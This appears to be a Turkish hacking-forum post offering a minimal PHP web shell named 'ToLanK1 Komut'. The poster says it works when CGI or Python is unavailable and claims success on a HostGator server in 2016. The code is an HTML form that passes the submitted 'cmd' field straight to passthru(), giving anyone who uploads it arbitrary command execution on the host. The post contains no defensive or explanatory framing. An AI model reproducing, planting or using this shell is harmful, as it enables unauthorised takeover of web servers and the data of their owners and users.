server'de cgi python çalişmiyorsa php fonksiyonlari açıksa işinizi görür. hostgator'da denedim sonuç ama 2016
View hidden content is available for registered users!
Kod:
<!DOCTYPE html>
<html lang="pt-br">
<head>
<!-- meta character set -->
<meta charset="UTF-8">
<!-- Page Title -->
<title>ToLanK1 Komut</title>
<!--
CSS
============================================ -->
<style type="text/css">
body { background-color: #31323d; }
#painel {
text-align: center;
margin: 0 auto;
}
h1 { color: #ede7ea; }
#Execute {
background-color: transparent;
color: #ffffff;
}
</style>
</head>
<body>
<div id="painel">
<h1>TolanK1 cMd ExeCute</h1>
<form name="cmd" method="post" enctype="multipart/form-data">
<p>
<input name="cmd" value="" size="59" type="text"/>
<input value="Execute" id="Execute" type="submit"/>
<br/>
</div>
<p></p>
<pre>
<?php if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
passthru($cmd);
}
?>
</pre>
</form>
</body>
</html>